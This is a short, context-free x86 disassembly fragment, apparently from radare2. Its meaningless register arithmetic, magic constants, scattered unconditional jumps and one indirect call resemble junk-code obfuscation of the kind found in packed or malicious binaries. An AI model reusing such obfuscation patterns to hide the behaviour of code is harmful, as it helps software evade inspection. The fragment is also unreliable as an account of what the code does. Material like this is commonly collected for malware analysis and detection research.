jmp 0x47600a
push 0x65d9aa04
add ecx, edi
xchg ecx, edi
rol ebx, 0x16
and esi, edi
xor esi, ebx
xchg edi, esi
and esi, ebx
mov ebx, ecx
jmp 0x4769e5
call fcn.00476ab5
xchg esi, edi
bswap esi
and edi, esi
inc ebx
or edi, esi
add esi, ecx
mov ecx, esi
shr edi, 0xb
mov edi, ebx
jmp 0x4772cd
push 0x65e8ee64
bswap edi
add ecx, esi
neg edi
rol edi, 0xe
jmp 0x4767f1
push 0x401400
shr edi, 0x1c
sub edi, 0x6d9c5c6e
mov edi, ecx
xor edi, 0x6d9cc595
add edi, ebx
xchg ecx, edi
xor esi, ebx
mov ebx, 0x6d9dcacf
ror ebx, 8
dec ecx
and edi, esi
jmp 0x47593f
call edx
sub ebx, 0x6da7e05c
add ecx, ebx
xor esi, ecx
not esi
sub ebx, esi
sub ecx, 0x6da8f299
not ebx
and ecx, 0x6da95f3d
ror ebx, 0x18
neg ebx
jmp 0x475ad9